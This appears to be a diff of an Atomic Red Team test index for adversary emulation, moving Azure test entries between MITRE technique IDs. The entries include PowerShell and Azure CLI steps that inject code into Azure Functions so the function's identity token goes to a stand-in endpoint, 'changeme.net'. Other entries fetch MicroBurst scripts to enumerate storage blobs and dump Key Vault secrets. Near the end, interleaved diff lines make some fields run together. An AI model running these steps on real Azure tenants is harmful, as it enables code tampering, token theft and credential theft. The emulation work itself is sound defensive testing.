from the result of test T1530 \"Azure - Dump Azure Storage Account Objects
via Azure CLI\".\n\nRequirements:\n- The test is intended to be executed in
interactive mode (with -Interactive parameter) in order to complete the az
login command when MFA is required.\n- The EntraID user must have the role
\"Storage Account Contributor\", or a role with similar permissions."
supported_platforms:
- iaas:azure
input_arguments:
storage_account_name:
type: string
default: storage_account_name_example
description: Name of storage account that is related to the Function
container_name:
type: string
default: container_name_example
description: Name of the container that contains the function blob
blob_name:
type: string
default: blob_example
description: Name of the function blob
file_path_blob:
type: path
default: "$env:temp/T1550.001_function_code.zip"
description: Path to the function code file to upload as blob
dependency_executor_name: powershell
dependencies:
- description: Azure CLI must be installed
prereq_command: try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue)
{exit 0} else {exit 1}} catch {exit 1}
get_prereq_command: Install-Module -Name Az -Force
executor:
command: "az login # Log in to Azure CLI\n\n$allowSharedKeyAccess = az
storage account show --name \"#{storage_account_name}\" --query \"allowSharedKeyAccess\"\n\nif
($allowSharedKeyAccess -eq \"false\") { # $allowSharedKeyAccess could
be true or null\n Write-Output \"Shared key access is disabled for this
storage account.\"\n} else { \n $connectionString = az storage account
show-connection-string --name \"#{storage_account_name}\" --query connectionString
--output tsv\n\n # Download blob for cleanup\n $tmpOriginalFunctionCode
= Join-Path $env:temp/ (\"T1550.001_tmp_original_\" + \"#{blob_name}\")\n
\ az storage blob download --connection-string $connectionString --container-name
\"#{container_name}\" --name \"#{blob_name}\" --file $tmpOriginalFunctionCode
--overwrite true\n\n if ($LASTEXITCODE -eq 0) {\n # Upload new
blob version if download of existing blob succeeded\n az storage
blob upload --connection-string $connectionString --container-name \"#{container_name}\"
--name \"#{blob_name}\" --file \"#{file_path_blob}\" --overwrite true\n
\ } else {\n Write-Output \"Download original function code failed.\"\n
\ exit 1\n }\n}\n"
cleanup_command: |-
az login # Log in to Azure CLI
# Upload previous funciton code
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_original_" + "#{blob_name}")
az storage blob upload --account-name "#{storage_account_name}" --container-name "#{container_name}" --file $tmpOriginalFunctionCode --name "#{blob_name}" --overwrite true 2>$null
if ($LASTEXITCODE -eq 0) {
Write-Output "Uploaded original version of function code."
# Delete tmp original blob file if upload succeeded
Remove-Item -Path $tmpOriginalFunctionCode -Force -erroraction silentlycontinue
Write-Output "Deleted tmp original blob file: $($tmpOriginalFunctionCode)"
} else {
Write-Output "Upload original function code failed."
}
name: powershell
elevation_required: false
- name: Azure - Functions code upload - Functions code injection via File Share
modification to retrieve the Functions identity access token
auto_generated_guid: 67aaf4cb-54ce-42e2-ab56-e0a9bcc089b1
description: "This test injects code into an Azure Function (RCE) to perform
Subscription Privilege Escalation by retrieving the identity access token
of an Azure functions instance.\n\nAttack idea/reference: https://orca.security/resources/blog/azure-shared-key-authorization-exploitation/\n\nOnce
executed, the \"https://changeme\" will retrieve the access token when the
function app is executed on behalf of the tenant. The function may be triggered
manually from authorized people, triggered in regular intervals, or in various
other ways. The access token can then be used to perform further attack steps
with the permissions that the function app holds (e.g. listening virtual machines).\n\nNote:
\n- The Azure Function modified in this test must be hosted via Azure Files
in a File Share (Info on storage considerations for Azure Function: https://learn.microsoft.com/en-us/azure/azure-functions/storage-considerations).\n-
For Function code upload to Azure Functions that are hosted via Azure Blob
storage, refer to T1550.001 \"Azure - Functions code upload - Functions code
injection via Blob upload\".\n- The required input fields can be retrieved
in a reconnaissance step in test T1619 \"Azure - Enumerate Storage Account
Objects via Key-based authentication using Azure CLI\". The code of function
apps may be inspected and prepared from the result of test T1530 \"Azure -
Dump Azure Storage Account Objects via Azure CLI\".\n- Important: Change the
https://changeme.net in code_to_insert_path to a self-controlled endpoint.
This endpoint can be hosted e.g. as request bin via Pipedream to display the
body of incoming POST requests.\n- The default injected code to retrieve the
access token can be replaced by arbitrary other code. In this case: Replace
the code defined in code_to_insert_path\n\nRequirements:\n- The test is intended
to be executed in interactive mode (with -Interactive parameter) in order
to complete the az login command when MFA is required.\n- The EntraID user
must have the role \"Storage Account Contributor\", or a role with similar
permissions.\n\nExecution options: Defined by the input field execution_option\n-
insert_code: This option (1) downloads the existing funciton code into a tmp
file, (2) injects the code from code_to_insert_path at the beginning of the
file, and (3) uploads the tampered file to the targeted Azure Function code
(Azure File Share File).\n- replace_file: This option uploads the function
code defined in code_to_insert_path to the targeted Azure Function code (Azure
File Share File)."
supported_platforms:
- iaas:azure
input_arguments:
storage_account_name:
type: string
default: storage_account_name_example
description: Name of storage account that is related to the Function
execution_option:
type: string
default: insert_code
description: Chooses execution option insert_code, or replace_file
file_share_name:
type: string
default: file_share_name_example
description: Name of the file share that is related to the Function
file_path:
type: path
default: site/wwwroot/function_app.py
description: Path to the Function file in the file share
code_to_insert_path:
type: path
default: "$PathToAtomicsFolder/T1550.001/src/code_to_insert.py"
description: The code that will be injected into the Function
dependency_executor_name: powershell
dependencies:
- description: Azure CLI must be installed
prereq_command: try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue)
{exit 0} else {exit 1}} catch {exit 1}
get_prereq_command: Install-Module -Name Az -Force
executor:
command: "az login # Log in to Azure CLI\n\n$allowSharedKeyAccess = az
storage account show --name \"#{storage_account_name}\" --query \"allowSharedKeyAccess\"\n\nif
($allowSharedKeyAccess -eq \"false\") { # $allowSharedKeyAccess could
be true or null\n Write-Output \"Shared key access is disabled for this
storage account.\"\n} else {\n # Download file for cleanup\n $tmpOriginalFileName
= [System.IO.Path]::GetFileName(\"#{file_path}\")\n $tmpOriginalFunctionCode
= Join-Path $env:temp/ (\"T1550.001_tmp_original_\" + $tmpOriginalFileName)\n
\ az storage file download --account-name \"#{storage_account_name}\"
--share-name \"#{file_share_name}\" -p \"#{file_path}\" --only-show-errors
--dest $tmpOriginalFunctionCode\n\n if ($LASTEXITCODE -eq 0) {\n #
Upload new funciton code if download of existing code succeeded\n if
(\"#{execution_option}\" -eq \"insert_code\") {\n # Download
file from file share for injection\n $tmpFunctionCode = Join-Path
$env:temp/ (\"T1550.001_tmp_to_inject_\" + $tmpOriginalFileName)\n az
storage file download --account-name \"#{storage_account_name}\" --share-name
\"#{file_share_name}\" -p \"#{file_path}\" --only-show-errors --dest $tmpFunctionCode\n
\ \n if ($LASTEXITCODE -ne 0) {\n Write-Output
\"Function code download failed.\"\n exit 1\n }\n
\ Write-Output \"File downloaded: $($tmpFunctionCode)\"\n \n
\ $insertContent = Get-Content -Path \"#{code_to_insert_path}\"
-Raw # Load the content of the insert file\n \n $content
= Get-Content -Path $tmpFunctionCode -Raw # Inject code to file\n $content
= $insertContent + \"`n\" + $content # Insert the new code at the beginning\n
\ $content | Set-Content -Path $tmpFunctionCode # Write
the modified content to the file\n \n # Upload file
to file share\n az storage file upload --account-name \"#{storage_account_name}\"
--share-name \"#{file_share_name}\" -p \"#{file_path}\" --source $tmpFunctionCode
--only-show-errors\n if ($LASTEXITCODE -ne 0) {\n Write-Output
\"Function code upload failed.\"\n exit 1\n }\n
\ Write-Output \"Uploaded the tampered file\"\n } elseif
(\"#{execution_option}\" -eq \"replace_file\") {\n az storage
file upload --account-name \"#{storage_account_name}\" --share-name \"#{file_share_name}\"
-p \"#{file_path}\" --source \"#{code_to_insert_path}\" --only-show-errors\n
\ if ($LASTEXITCODE -ne 0) {\n Write-Output \"Function
code upload failed.\"\n exit 1\n }\n Write-Output
\"Uploaded the tampered file\"\n } else {\n Write-Output
\"Please choose a valid execution_option\"\n exit 1\n }\n
\ } else {\n Write-Output \"Download original function code failed.\"\n
\ exit 1\n }\n}"
cleanup_command: |-
az login # Log in to Azure CLI
# Upload previous funciton code
$tmpOriginalFileName = [System.IO.Path]::GetFileName("#{file_path}")
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_original_" + $tmpOriginalFileName)
az storage file upload --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --source $tmpOriginalFunctionCode --only-show-errors 2>$null
if ($LASTEXITCODE -eq 0) {
Write-Output "Uploaded original version of function code."
# Delete tmp original f file if upload succeeded
if ("#{execution_option}" -eq "insert_code") {
$tmpFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_to_inject_" + $tmpOriginalFileName)
Remove-Item -Path $tmpFunctionCode -Force -erroraction silentlycontinue
Write-Output "Deleted tmp file: $($tmpFunctionCode)"
}
# Delete tmp original file
Remove-Item -Path $tmpOriginalFunctionCode -Force -erroraction silentlycontinue
Write-Output "Deleted tmp original file: $($tmpOriginalFunctionCode)"
} else {
Write-Output "Upload original function code failed."
}
name: powershell
elevation_required: false
T1078.004:
technique:
type: attack-pattern
@@ -41624,6 +41839,99 @@ collection:
- 'Cloud Storage: Cloud Storage Access'
identifier: T1530
atomic_tests:
- name: Azure - Enumerate Azure Blobs with MicroBurst
auto_generated_guid: 3dab4bcc-667f-4459-aea7-4162dd2d6590
description: "Upon successful execution, this test will utilize a wordlist to
enumerate the public facing containers and blobs of a specified Azure storage
account. \nSee https://www.netspi.com/blog/technical/cloud-penetration-testing/anonymously-enumerating-azure-file-resources/
. \n"
supported_platforms:
- iaas:azure
input_arguments:
base:
description: Azure blob keyword to enumerate (Example, storage account name)
type: string
default: secure
output_file:
description: File to output results to
type: string
default: "$env:temp\\T1530Test1.txt"
wordlist:
description: File path to keywords for search permutations
type: string
default: PathToAtomicsFolder\..\ExternalPayloads\permutations.txt
dependency_executor_name: powershell
dependencies:
- description: 'The Invoke-EnumerateAzureBlobs module must exist in PathToAtomicsFolder\..\ExternalPayloads.
'
prereq_command: 'if (test-path "PathToAtomicsFolder\..\ExternalPayloads\Invoke-EnumerateAzureBlobs.ps1"){exit
0} else {exit 1}
'
get_prereq_command: |
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
invoke-webrequest "https://raw.githubusercontent.com/NetSPI/MicroBurst/156c4e9f4253b482b2b68eda4651116b9f0f2e17/Misc/Invoke-EnumerateAzureBlobs.ps1" -outfile "PathToAtomicsFolder\..\ExternalPayloads\Invoke-EnumerateAzureBlobs.ps1"
- description: 'The wordlist file for search permutations must exist in PathToAtomicsFolder\..\ExternalPayloads.
'
prereq_command: 'if (test-path "#{wordlist}"){exit 0} else {exit 1}
'
get_prereq_command: 'invoke-webrequest "https://raw.githubusercontent.com/NetSPI/MicroBurst/156c4e9f4253b482b2b68eda4651116b9f0f2e17/Misc/permutations.txt"
-outfile "#{wordlist}"
'
executor:
command: |
import-module "PathToAtomicsFolder\..\ExternalPayloads\Invoke-EnumerateAzureBlobs.ps1"
Invoke-EnumerateAzureBlobs -base #{base} -permutations "#{wordlist}" -outputfile "#{output_file}"
cleanup_command: 'remove-item #{output_file} -erroraction silentlycontinue
'
name: powershell
- name: Azure - Scan for Anonymous Access to Azure Storage (Powershell)
auto_generated_guid: 146af1f1-b74e-4aa7-9895-505eb559b4b0
description: "Upon successful execution, this test will test for anonymous access
to Azure storage containers by invoking a web request and outputting the results
to a file. \nThe corresponding response could then be interpreted to determine
whether or not the resource/container exists, as well as other information.
\nSee https://ninocrudele.com/the-three-most-effective-and-dangerous-cyberattacks-to-azure-and-countermeasures-part-2-attack-the-azure-storage-service
\ \n"
supported_platforms:
- iaas:azure
input_arguments:
base_name:
description: Azure storage account name to test
type: string
default: T1530Test2
output_file:
description: File to output results to
type: string
default: "$env:temp\\T1530Test2.txt"
container_name:
description: Container name to search for (optional)
type: string
default:
blob_name:
description: Blob name to search for (optional)
type: string
default:
executor:
command: |
try{$response = invoke-webrequest "https://#{base_name}.blob.core.windows.net/#{container_name}/#{blob_name}" -method "GET"}
catch [system.net.webexception]
{if($_.Exception.Response -ne $null)
{$Response = $_.Exception.Response.GetResponseStream()
$ReadResponse = New-Object System.IO.StreamReader($Response)
$ReadResponse.BaseStream.Position = 0
$responseBody = $ReadResponse.ReadToEnd()}
else {$responseBody = "The storage account could not be anonymously accessed."}}
"Response received for #{base_name}.blob.core.windows.net/#{container_name}/#{blob_name}: $responsebody" | out-file -filepath #{output_file} -append
cleanup_command: 'remove-item #{output_file} -erroraction silentlycontinue
'
name: powershell
- name: Azure - Dump Azure Storage Account Objects via Azure CLI
auto_generated_guid: 67374845-b4c8-4204-adcc-9b217b65d4f1
description: |-
@@ -45032,7 +45340,7 @@ lateral-movement:
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
modified: '2025-04-15T19:59:20.277Z'
name: Application Access Token
name: 'Use Alternate Authentication Material: Application Access Token'
description: "Adversaries may use stolen application access tokens to bypass
the typical authentication process and access restricted accounts, information,
or services on remote systems. These tokens are typically stolen from users
@@ -45109,7 +45417,223 @@ lateral-movement:
x_mitre_version: '1.8'
x_mitre_data_sources:
- 'Web Credential: Web Credential Usage'
atomic_tests: []
identifier: T1550.001
atomic_tests:
- name: Azure - Functions code upload - Functions code injection via Blob upload
auto_generated_guid: 9a5352e4-56e5-45c2-9b3f-41a46d3b3a43
description: "This test injects code into an Azure Function (RCE).\n\nAttack
idea/reference: https://orca.security/resources/blog/azure-shared-key-authorization-exploitation/\n\nSimilar
to T1550.001 \"Azure - Functions code upload - Functions code injection to
retrieve the Functions identity access token\", the depicted code injection
scenario tampers the source code of Azure Functions to perform Subscription
Privilege Escalation by retrieving the identity access token of an Azure functions
instance. In this case, the prepared zip file (underlying package for a Function)
is expected to contain the tampered function presented in src/code_to_insert.py.
Note that the endpoint https://changeme.net needs to be adapted in your packed
function code.\n\nNote:\n- The Azure Function modified in this test must be
hosted via Azure Blob storage (Info on storage considerations for Azure Function:
https://learn.microsoft.com/en-us/azure/azure-functions/storage-considerations).
\n- For Function code upload to Azure Functions that are hosted via Azure
Files in a File Share, refer to T1550.001 \"Azure - Functions code upload
- Functions code injection to retrieve the Functions identity access token\".\n-
The required input fields can be retrieved in a reconnaissance step in test
T1619 \"Azure - Enumerate Storage Account Objects via Key-based authentication
using Azure CLI\". The code of function apps may be inspected and prepared
from the result of test T1530 \"Azure - Dump Azure Storage Account Objects
via Azure CLI\".\n\nRequirements:\n- The test is intended to be executed in
interactive mode (with -Interactive parameter) in order to complete the az
login command when MFA is required.\n- The EntraID user must have the role
\"Storage Account Contributor\", or a role with similar permissions."
supported_platforms:
- iaas:azure
input_arguments:
storage_account_name:
type: string
default: storage_account_name_example
description: Name of storage account that is related to the Function
container_name:
type: string
default: container_name_example
description: Name of the container that contains the function blob
blob_name:
type: string
default: blob_example
description: Name of the function blob
file_path_blob:
type: path
default: "$env:temp/T1550.001_function_code.zip"
description: Path to the function code file to upload as blob
dependency_executor_name: powershell
dependencies:
- description: Azure CLI must be installed
prereq_command: try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue)
{exit 0} else {exit 1}} catch {exit 1}
get_prereq_command: Install-Module -Name Az -Force
executor:
command: "az login # Log in to Azure CLI\n\n$allowSharedKeyAccess = az
storage account show --name \"#{storage_account_name}\" --query \"allowSharedKeyAccess\"\n\nif
($allowSharedKeyAccess -eq \"false\") { # $allowSharedKeyAccess could
be true or null\n Write-Output \"Shared key access is disabled for this
storage account.\"\n} else { \n $connectionString = az storage account
show-connection-string --name \"#{storage_account_name}\" --query connectionString
--output tsv\n\n # Download blob for cleanup\n $tmpOriginalFunctionCode
= Join-Path $env:temp/ (\"T1550.001_tmp_original_\" + \"#{blob_name}\")\n
\ az storage blob download --connection-string $connectionString --container-name
\"#{container_name}\" --name \"#{blob_name}\" --file $tmpOriginalFunctionCode
--overwrite true\n\n if ($LASTEXITCODE -eq 0) {\n # Upload new
blob version if download of existing blob succeeded\n az storage
blob upload --connection-string $connectionString --container-name \"#{container_name}\"
--name \"#{blob_name}\" --file \"#{file_path_blob}\" --overwrite true\n
\ } else {\n Write-Output \"Download original function code failed.\"\n
\ exit 1\n }\n}\n"
cleanup_command: |-
az login # Log in to Azure CLI
# Upload previous funciton code
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_original_" + "#{blob_name}")
az storage blob upload --account-name "#{storage_account_name}" --container-name "#{container_name}" --file $tmpOriginalFunctionCode --name "#{blob_name}" --overwrite true 2>$null
if ($LASTEXITCODE -eq 0) {
Write-Output "Uploaded original version of function code."
# Delete tmp original blob file if upload succeeded
Remove-Item -Path $tmpOriginalFunctionCode -Force -erroraction silentlycontinue
Write-Output "Deleted tmp original blob file: $($tmpOriginalFunctionCode)"
} else {
Write-Output "Upload original function code failed."
}
name: powershell
elevation_required: false
- name: Azure - Functions code upload - Functions code injection via File Share
modification to retrieve the Functions identity access token
auto_generated_guid: 67aaf4cb-54ce-42e2-ab56-e0a9bcc089b1
description: "This test injects code into an Azure Function (RCE) to perform
Subscription Privilege Escalation by retrieving the identity access token
of an Azure functions instance.\n\nAttack idea/reference: https://orca.security/resources/blog/azure-shared-key-authorization-exploitation/\n\nOnce
executed, the \"https://changeme\" will retrieve the access token when the
function app is executed on behalf of the tenant. The function may be triggered
manually from authorized people, triggered in regular intervals, or in various
other ways. The access token can then be used to perform further attack steps
with the permissions that the function app holds (e.g. listening virtual machines).\n\nNote:
\n- The Azure Function modified in this test must be hosted via Azure Files
in a File Share (Info on storage considerations for Azure Function: https://learn.microsoft.com/en-us/azure/azure-functions/storage-considerations).\n-
For Function code upload to Azure Functions that are hosted via Azure Blob
storage, refer to T1550.001 \"Azure - Functions code upload - Functions code
injection via Blob upload\".\n- The required input fields can be retrieved
in a reconnaissance step in test T1619 \"Azure - Enumerate Storage Account
Objects via Key-based authentication using Azure CLI\". The code of function
apps may be inspected and prepared from the result of test T1530 \"Azure -
Dump Azure Storage Account Objects via Azure CLI\".\n- Important: Change the
https://changeme.net in code_to_insert_path to a self-controlled endpoint.
This endpoint can be hosted e.g. as request bin via Pipedream to display the
body of incoming POST requests.\n- The default injected code to retrieve the
access token can be replaced by arbitrary other code. In this case: Replace
the code defined in code_to_insert_path\n\nRequirements:\n- The test is intended
to be executed in interactive mode (with -Interactive parameter) in order
to complete the az login command when MFA is required.\n- The EntraID user
must have the role \"Storage Account Contributor\", or a role with similar
permissions.\n\nExecution options: Defined by the input field execution_option\n-
insert_code: This option (1) downloads the existing funciton code into a tmp
file, (2) injects the code from code_to_insert_path at the beginning of the
file, and (3) uploads the tampered file to the targeted Azure Function code
(Azure File Share File).\n- replace_file: This option uploads the function
code defined in code_to_insert_path to the targeted Azure Function code (Azure
File Share File)."
supported_platforms:
- iaas:azure
input_arguments:
storage_account_name:
type: string
default: storage_account_name_example
description: Name of storage account that is related to the Function
execution_option:
type: string
default: insert_code
description: Chooses execution option insert_code, or replace_file
file_share_name:
type: string
default: file_share_name_example
description: Name of the file share that is related to the Function
file_path:
type: path
default: site/wwwroot/function_app.py
description: Path to the Function file in the file share
code_to_insert_path:
type: path
default: "$PathToAtomicsFolder/T1550.001/src/code_to_insert.py"
description: The code that will be injected into the Function
dependency_executor_name: powershell
dependencies:
- description: Azure CLI must be installed
prereq_command: try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue)
{exit 0} else {exit 1}} catch {exit 1}
get_prereq_command: Install-Module -Name Az -Force
executor:
command: "az login # Log in to Azure CLI\n\n$allowSharedKeyAccess = az
storage account show --name \"#{storage_account_name}\" --query \"allowSharedKeyAccess\"\n\nif
($allowSharedKeyAccess -eq \"false\") { # $allowSharedKeyAccess could
be true or null\n Write-Output \"Shared key access is disabled for this
storage account.\"\n} else {\n # Download file for cleanup\n $tmpOriginalFileName
= [System.IO.Path]::GetFileName(\"#{file_path}\")\n $tmpOriginalFunctionCode
= Join-Path $env:temp/ (\"T1550.001_tmp_original_\" + $tmpOriginalFileName)\n
\ az storage file download --account-name \"#{storage_account_name}\"
--share-name \"#{file_share_name}\" -p \"#{file_path}\" --only-show-errors
--dest $tmpOriginalFunctionCode\n\n if ($LASTEXITCODE -eq 0) {\n #
Upload new funciton code if download of existing code succeeded\n if
(\"#{execution_option}\" -eq \"insert_code\") {\n # Download
file from file share for injection\n $tmpFunctionCode = Join-Path
$env:temp/ (\"T1550.001_tmp_to_inject_\" + $tmpOriginalFileName)\n az
storage file download --account-name \"#{storage_account_name}\" --share-name
\"#{file_share_name}\" -p \"#{file_path}\" --only-show-errors --dest $tmpFunctionCode\n
\ \n if ($LASTEXITCODE -ne 0) {\n Write-Output
\"Function code download failed.\"\n exit 1\n }\n
\ Write-Output \"File downloaded: $($tmpFunctionCode)\"\n \n
\ $insertContent = Get-Content -Path \"#{code_to_insert_path}\"
-Raw # Load the content of the insert file\n \n $content
= Get-Content -Path $tmpFunctionCode -Raw # Inject code to file\n $content
= $insertContent + \"`n\" + $content # Insert the new code at the beginning\n
\ $content | Set-Content -Path $tmpFunctionCode # Write
the modified content to the file\n \n # Upload file
to file share\n az storage file upload --account-name \"#{storage_account_name}\"
--share-name \"#{file_share_name}\" -p \"#{file_path}\" --source $tmpFunctionCode
--only-show-errors\n if ($LASTEXITCODE -ne 0) {\n Write-Output
\"Function code upload failed.\"\n exit 1\n }\n
\ Write-Output \"Uploaded the tampered file\"\n } elseif
(\"#{execution_option}\" -eq \"replace_file\") {\n az storage
file upload --account-name \"#{storage_account_name}\" --share-name \"#{file_share_name}\"
-p \"#{file_path}\" --source \"#{code_to_insert_path}\" --only-show-errors\n
\ if ($LASTEXITCODE -ne 0) {\n Write-Output \"Function
code upload failed.\"\n exit 1\n }\n Write-Output
\"Uploaded the tampered file\"\n } else {\n Write-Output
\"Please choose a valid execution_option\"\n exit 1\n }\n
\ } else {\n Write-Output \"Download original function code failed.\"\n
\ exit 1\n }\n}"
cleanup_command: |-
az login # Log in to Azure CLI
# Upload previous funciton code
$tmpOriginalFileName = [System.IO.Path]::GetFileName("#{file_path}")
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_original_" + $tmpOriginalFileName)
az storage file upload --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --source $tmpOriginalFunctionCode --only-show-errors 2>$null
if ($LASTEXITCODE -eq 0) {
Write-Output "Uploaded original version of function code."
# Delete tmp original f file if upload succeeded
if ("#{execution_option}" -eq "insert_code") {
$tmpFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_to_inject_" + $tmpOriginalFileName)
Remove-Item -Path $tmpFunctionCode -Force -erroraction silentlycontinue
Write-Output "Deleted tmp file: $($tmpFunctionCode)"
}
# Delete tmp original file
Remove-Item -Path $tmpOriginalFunctionCode -Force -erroraction silentlycontinue
Write-Output "Deleted tmp original file: $($tmpOriginalFunctionCode)"
} else {
Write-Output "Upload original function code failed."
}
name: powershell
elevation_required: false
credential-access:
T1557:
technique:
@@ -48256,220 +48780,75 @@ credential-access:
- 'User Account: User Account Modification'
identifier: T1528
atomic_tests:
- name: Azure - Functions code upload - Functions code injection via Blob upload
auto_generated_guid: 9a5352e4-56e5-45c2-9b3f-41a46d3b3a43
description: "This test injects code into an Azure Function (RCE).\n\nAttack
idea/reference: https://orca.security/resources/blog/azure-shared-key-authorization-exploitation/\n\nSimilar
to T1528 \"Azure - Functions code upload - Functions code injection to retrieve
the Functions identity access token\", the depicted code injection scenario
tampers the source code of Azure Functions to perform Subscription Privilege
Escalation by retrieving the identity access token of an Azure functions instance.
In this case, the prepared zip file (underlying package for a Function) is
expected to contain the tampered function presented in src/code_to_insert.py.
Note that the endpoint https://changeme.net needs to be adapted in your packed
function code.\n\nNote:\n- The Azure Function modified in this test must be
hosted via Azure Blob storage (Info on storage considerations for Azure Function:
https://learn.microsoft.com/en-us/azure/azure-functions/storage-considerations).
\n- For Function code upload to Azure Functions that are hosted via Azure
Files in a File Share, refer to T1528 \"Azure - Functions code upload - Functions
code injection to retrieve the Functions identity access token\".\n- The required
input fields can be retrieved in a reconnaissance step in test T1619 \"Azure
- Enumerate Storage Account Objects via Key-based authentication using Azure
CLI\". The code of function apps may be inspected and prepared from the result
of test T1530 \"Azure - Dump Azure Storage Account Objects via Azure CLI\".\n\nRequirements:\n-
The test is intended to be executed in interactive mode (with -Interactive
parameter) in order to complete the az login command when MFA is required.\n-
The EntraID user must have the role \"Storage Account Contributor\", or a
role with similar permissions."
- name: Azure - Dump All Azure Key Vaults with Microburst
auto_generated_guid: 1b83cddb-eaa7-45aa-98a5-85fb0a8807ea
description: |-
Upon successful execution of this test, the names, locations, and contents of key vaults within an Azure account will be output to a file.
See - https://www.netspi.com/blog/technical/cloud-penetration-testing/a-beginners-guide-to-gathering-azure-passwords/
supported_platforms:
- iaas:azure
input_arguments:
storage_account_name:
username:
description: Azure AD username
type: string
default: storage_account_name_example
description: Name of storage account that is related to the Function
container_name:
default:
password:
description: Azure AD password
type: string
default: container_name_example
description: Name of the container that contains the function blob
blob_name:
default: T1082Az
output_file:
description: File to dump results to
type: string
default: blob_example
description: Name of the function blob
file_path_blob:
type: path
default: "$env:temp/T1528_function_code.zip"
description: Path to the function code file to upload as blob
default: "$env:temp\\T1528Test1.txt"
subscription_id:
description: Azure subscription id to search
type: string
default:
dependency_executor_name: powershell
dependencies:
- description: Azure CLI must be installed
prereq_command: try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue)
- description: 'The Get-AzurePasswords script must exist in PathToAtomicsFolder\..\ExternalPayloads.
'
prereq_command: 'if (test-path "PathToAtomicsFolder\..\ExternalPayloads\Get-AzurePasswords.ps1"){exit
0} else {exit 1}
'
get_prereq_command: |
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
invoke-webrequest "https://raw.githubusercontent.com/NetSPI/MicroBurst/c771c665a2c71f9c5ba474869cd1c211ebee68fd/AzureRM/Get-AzurePasswords.ps1" -outfile "PathToAtomicsFolder\..\ExternalPayloads\Get-AzurePasswords.ps1"
- description: 'The Azure RM module must be installed.
'
prereq_command: 'try {if (Get-InstalledModule -Name AzureRM -ErrorAction SilentlyContinue)
{exit 0} else {exit 1}} catch {exit 1}
get_prereq_command: Install-Module -Name Az -Force
executor:
command: "az login # Log in to Azure CLI\n\n$allowSharedKeyAccess = az
storage account show --name \"#{storage_account_name}\" --query \"allowSharedKeyAccess\"\n\nif
($allowSharedKeyAccess -eq \"false\") { # $allowSharedKeyAccess could
be true or null\n Write-Output \"Shared key access is disabled for this
storage account.\"\n} else { \n $connectionString = az storage account
show-connection-string --name \"#{storage_account_name}\" --query connectionString
--output tsv\n\n # Download blob for cleanup\n $tmpOriginalFunctionCode
= Join-Path $env:temp/ (\"T1528_tmp_original_\" + \"#{blob_name}\")\n az
storage blob download --connection-string $connectionString --container-name
\"#{container_name}\" --name \"#{blob_name}\" --file $tmpOriginalFunctionCode
--overwrite true\n\n if ($LASTEXITCODE -eq 0) {\n # Upload new
blob version if download of existing blob succeeded\n az storage
blob upload --connection-string $connectionString --container-name \"#{container_name}\"
--name \"#{blob_name}\" --file \"#{file_path_blob}\" --overwrite true\n
\ } else {\n Write-Output \"Download original function code failed.\"\n
\ exit 1\n }\n}\n"
cleanup_command: |-
az login # Log in to Azure CLI
# Upload previous funciton code
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1528_tmp_original_" + "#{blob_name}")
az storage blob upload --account-name "#{storage_account_name}" --container-name "#{container_name}" --file $tmpOriginalFunctionCode --name "#{blob_name}" --overwrite true 2>$null
'
get_prereq_command: 'Install-Module -Name AzureRM -Force -allowclobber
if ($LASTEXITCODE -eq 0) {
Write-Output "Uploaded original version of function code."
'
- description: 'The Azure module must be installed.
# Delete tmp original blob file if upload succeeded
Remove-Item -Path $tmpOriginalFunctionCode -Force -erroraction silentlycontinue
Write-Output "Deleted tmp original blob file: $($tmpOriginalFunctionCode)"
} else {
Write-Output "Upload original function code failed."
}
name: powershell
elevation_required: false
- name: Azure - Functions code upload - Functions code injection via File Share
modification to retrieve the Functions identity access token
auto_generated_guid: 67aaf4cb-54ce-42e2-ab56-e0a9bcc089b1
description: "This test injects code into an Azure Function (RCE) to perform
Subscription Privilege Escalation by retrieving the identity access token
of an Azure functions instance.\n\nAttack idea/reference: https://orca.security/resources/blog/azure-shared-key-authorization-exploitation/\n\nOnce
executed, the \"https://changeme\" will retrieve the access token when the
function app is executed on behalf of the tenant. The function may be triggered
manually from authorized people, triggered in regular intervals, or in various
other ways. The access token can then be used to perform further attack steps
with the permissions that the function app holds (e.g. listening virtual machines).\n\nNote:
\n- The Azure Function modified in this test must be hosted via Azure Files
in a File Share (Info on storage considerations for Azure Function: https://learn.microsoft.com/en-us/azure/azure-functions/storage-considerations).\n-
For Function code upload to Azure Functions that are hosted via Azure Blob
storage, refer to T1528 \"Azure - Functions code upload - Functions code injection
via Blob upload\".\n- The required input fields can be retrieved in a reconnaissance
step in test T1619 \"Azure - Enumerate Storage Account Objects via Key-based
authentication using Azure CLI\". The code of function apps may be inspected
and prepared from the result of test T1530 \"Azure - Dump Azure Storage Account
Objects via Azure CLI\".\n- Important: Change the https://changeme.net in
code_to_insert_path to a self-controlled endpoint. This endpoint can be hosted
e.g. as request bin via Pipedream to display the body of incoming POST requests.\n-
The default injected code to retrieve the access token can be replaced by
arbitrary other code. In this case: Replace the code defined in code_to_insert_path\n\nRequirements:\n-
The test is intended to be executed in interactive mode (with -Interactive
parameter) in order to complete the az login command when MFA is required.\n-
The EntraID user must have the role \"Storage Account Contributor\", or a
role with similar permissions.\n\nExecution options: Defined by the input
field execution_option\n- insert_code: This option (1) downloads the existing
funciton code into a tmp file, (2) injects the code from code_to_insert_path
at the beginning of the file, and (3) uploads the tampered file to the targeted
Azure Function code (Azure File Share File).\n- replace_file: This option
uploads the function code defined in code_to_insert_path to the targeted Azure
Function code (Azure File Share File)."
supported_platforms:
- iaas:azure
input_arguments:
storage_account_name:
type: string
default: storage_account_name_example
description: Name of storage account that is related to the Function
execution_option:
type: string
default: insert_code
